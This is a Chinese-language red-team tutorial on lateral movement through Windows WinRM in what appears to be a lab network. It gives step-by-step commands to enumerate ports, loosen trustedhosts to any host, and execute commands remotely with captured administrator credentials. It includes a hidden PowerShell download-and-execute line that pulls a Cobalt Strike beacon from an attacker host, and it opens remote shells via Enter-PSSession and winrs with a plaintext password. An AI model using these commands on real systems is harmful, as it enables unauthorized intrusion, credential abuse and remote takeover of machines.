0x01 winRM簡介
WinRM 是 Microsoft 對 WS-Management 協議的實現,WS-Management 協議即一種基於標準簡單對象訪問協議[SOAP]的 “防火牆友好” 協議,它讓來自不同供應商的硬件和操作系統能夠互相操作。winRM的默認端口爲5985(http)或5986(https)。
winRM橫向移動同時適用於工作組和域環境。
0x02 利用條件
1、在win 2012之後(包括win 2012)的版本是默認開啓的,win 2012之前利用需要手動開啓winRM。
2、防火牆對5986、5985端口開放。
0x03 通過winRM橫向移動
一、查看本地和目標是否開放winRM服務
1、查看本地是否運行winRM服務。
netstat -ano |findstr 5985
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
2、查看目標是否運行winRM服務。
nmap -sV 192.168.3.73 -p5985,5986
3、查看目標機器的winRM服務是否工作正常,如圖所示爲正常。
powershell -exec bypass
Test-WsMan 192.168.3.73
二、通過winRM在目標主機上執行任意命令
命令執行
1、在第一次執行命令的時候,可能會報下列錯誤。
這時我們執行下列兩條命令,將當前主機的trustedhosts設置爲*,表示信任任意主機,之後重啓winRM。
Set-Item WSMan:localhost\client\trustedhosts -value *
Restart-Service WinRM
2、設置完成後執行下列命令,輸入之前收集到的密碼。
Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { ipconfig } -credential administrator
命令執行成功。
3、直接執行cs payload,彈回一個cs beacon。
Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.3.86:80/a'))" } -credential administrator
cs成功接收到會話。
反彈shell
1、通過Enter-PSSession直接彈回一個cmd shell。
Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator
反彈shell成功。
三、Windows內置工具winrs的使用
命令執行
winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "ipconfig"
反彈shell
winrs -r:192.168.3.73 -u:administrator -p:Admin!@#45 "cmd"